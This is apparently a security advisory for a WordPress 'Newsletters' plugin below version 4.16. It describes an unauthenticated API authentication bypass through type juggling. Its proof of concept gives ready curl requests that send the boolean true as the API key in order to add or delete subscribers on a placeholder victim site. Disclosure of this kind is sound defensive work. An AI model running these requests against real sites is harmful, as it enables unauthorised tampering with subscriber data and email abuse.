Newsletters < 4.16 – Unauthenticated API Authentication Bypass via Type Juggling | CVE 2026-16269

Description

The plugin does not strictly compare its API authentication key, allowing unauthenticated attackers to bypass the API authentication via type juggling and perform privileged actions such as modifying subscriber records and sending emails, when the optional API has been enabled.

Proof of Concept

Prerequisites: the plugin's optional API must have been enabled by an administrator (Newsletters > Configuration > API). This is not the default state; out of the box the endpoint returns "The API is disabled". No authentication is required to exploit.

Send an unauthenticated request with the JSON boolean true as the API key:

BASE='https://victim.example/wp-admin/admin-ajax.php?action=newsletters_api'

# Bypass authentication (boolean true) and add a subscriber:
curl -s -X POST "$BASE" -H 'Content-Type: application/json' \
  --data '{"api_key":true,"api_method":"subscriber_add","api_data":{"email":"attacker@evil.com","list_id":[1]}}'

# Arbitrary subscriber deletion by id:
curl -s -X POST "$BASE" -H 'Content-Type: application/json' \
  --data '{"api_key":true,"api_method":"subscriber_delete","api_data":{"id":1}}'

A wrong-typed key (a wrong string, or the integer 1) is rejected, isolating the boolean type juggling as the root cause (true == any non-empty stored key string evaluates true).